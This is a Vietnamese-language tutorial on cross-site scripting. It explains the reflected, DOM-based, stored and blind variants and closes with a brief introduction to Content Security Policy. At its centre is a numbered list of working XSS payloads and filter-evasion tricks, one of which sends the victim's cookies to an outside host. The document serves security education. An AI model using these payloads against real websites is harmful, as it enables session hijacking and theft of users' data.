XSS (Cross-Site Scripting) là một loại tấn công kiểu injection, nhắm tới các website uy tín. Sau khi bị khai thác, do tin tưởng website bị khai thác, người dùng thông thường có lẽ sẽ không ngần ngại mà truy cập vào link và thực thi mã độc. Mã độc có thể lấy nhiều dữ liệu nhạy cảm của người dùng như cookies, session token, hay có thể tái cấu trúc lại trang web đó và yêu cầu người dùng nhập thông tin như mật khẩu chẳng hạn và dữ liệu đó sẽ được gửi đến kẻ tấn công
Trước khi tiến sâu hơn, bạn đọc cần có kiến thức cơ bản về syntax của Javascript, có thể tham khảo tại w3schools. Bên cạnh đó bạn đọc cũng cần hiểu về prototype của JS, tham khảo tại Here và Here
Đúng như tên gọi của nó, Reflected XSS nhận dữ liệu đầu vào chứa mã độc, server sẽ xử lí chúng và trả lại response có chứa mã độc.
Ví dụ, URL có dạng worldend.com/search/?query=clannad thì phía server (PHP) sẽ xử lí chuỗi "clannad" và trả về kết quả ngay trong response luôn
Khác với Reflected XSS, kiểu XSS này nhận dữ liệu đầu vào nhưng lại được xử lí bên client, bên server chỉ gửi đúng 1 response giống nhau dù đầu vào có như thế nào. Ví dụ URL cũng như trên, tuy nhiên bên server (PHP) không hề xử lí, mà để cho javascript được gửi trong response xử lí. Hiển nhiên là đoạn code javascript đó của response nào cũng như nhau, và việc thực thi được thực hiện bên client. Do đó mà với DOM Based XSS, nếu xử lí đầu vào như này, người dùng hay kẻ tấn công có truyền vào gì thì phía server cũng không biết.
Nếu vẫn chưa hiểu rõ, bạn đọc có thể xem thêm tại video: Here
Stored XSS là kiểu XSS mà sau khi khai thác thành công website, đoạn mã độc bị lưu lại trong website đó luôn, bất cứ ai truy cập dù URL không dính đoạn mã thực thi như 2 kiểu trên thì mã độc vẫn bị thực thi. VD như comment trong một bài viết chẳng hạn.
Tương tự như Stored XSS, nhưng mục tiêu nhắm đến là người dùng, ứng dụng phía back-end. Ví dụ như mã độc được gắn vào một feedback của một công ty, vậy khi quản lí công ty mở feedback lên mã độc sẽ được thực thi. Viễn cảnh này ít được xác nhận ngoài đời thực.
1. href = javascript:alert('Asayami')
=> Dùng trong tag a href
2. data:text/html,<script>alert(0)</script>
=> Thay trực tiếp vào URL
3. https://www.google.com/#javascript:alert(1)
window.location.href = location.hash.slice(1)
=> XSS qua hashtag (#)
4. https://www.google.com/#alert(1)
<script>new Function`X${document.location.hash.substr`1`}`</script>
=> Sử dụng template Literals (là chuỗi được bao bởi `` thay vì cặp ngoặc
kép ngoặc đơn thông thường) có khả năng thực thi script ngay trong dấu
backtick, xem thêm tại:
Here
kết hợp hashtag
5. document.write('<img sr'%2b'c=http://p42.us/x.png?'%2bdocument['cookie']%2b'>');
=> request đến website của kẻ tấn công với URL chứa cookie
6. <img src="x:gif" onerror="eval('al'%2b'lert(0)')">
=> %2b là dấu +
7. <img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
=> e = e = \u0065
Xem bảng mã ở: Codetable Unicode và Wikipedia Unicode. Với một số kí tự đặc biệt cũng có thể viết lại bằng HTML Entities, xem tại: Here
Xem thêm URL Encoding tại W3Schools
8. somefunc('argu' - script_here) Ex: JSON.parse('chtholly' - alert(1))
Với hàm bất kì trong javascript, ngoài argument cần truyền vào có thể truyền thêm script mong muốn thực thi thông qua các ký tự +-*/, ở giữa
9. futuregadgetlab.com?search=<custag id=x onfocus='dosmt' tabindex=1>#x
=> Tạo và khai thác XSS custom tag HTML (custag không có event chính thức
nào) khi không dùng được tag chính thức: #x kích hoạt onfocus với tag có
id=x
10. <svg><a><animate attributeName=href values=javascript:alert(1) /><text>Click me</text></a>
=> event handlers, href attribute, some tags blocked.
11. toString=alert(1),window+''
=> Mọi thứ đều thay đổi được thẳng qua dấu = trong JS. window+'' thì
window sẽ gọi toString, bình thường sẽ thành '[object Window]'.
12. someFunc=(argu,argu)=>{inside func}
=> Một cách khác để tạo hàm. VD: x=x=>{throw/**/onerror=alert,1337}
Hàm replace trong javascript chỉ replace 1 lần ký tự tìm thấy. VD replace('a','test') cho text aaaa thu đc testaaa.
Với object ẩn kích thước 0x0 ngoài onload onerror còn có accesskey và onclick.
insert null bytes %00 , /**/
CSP là một biện pháp bảo mật từ phía trình duyệt, giúp ngăn chặn những request xấu được gọi từ website của chúng ta. CSP là tập hợp một danh sách an toàn (whitelist) những domain hay kiểu script, style, image, frame mà trình duyệt được load trên website của chúng ta. Điều này đảm bảo chỉ có những script, style, image, frame được chúng ta chỉ định có thể được tải, những request không nằm trong whitelist sẽ bị chặn ngay tức khắc.
Để biết thêm về cách sử dụng của CSP, bạn đọc có thể xem thêm tại: Here
CSP là một cách tốt để ngăn chặn XSS, tuy nhiên bên trong nó cũng tiềm tàng những lỗ hổng. Một số lỗ hổng nổi bật như: Angular JS (cuối bài viết), Dangling markup injection, policy injection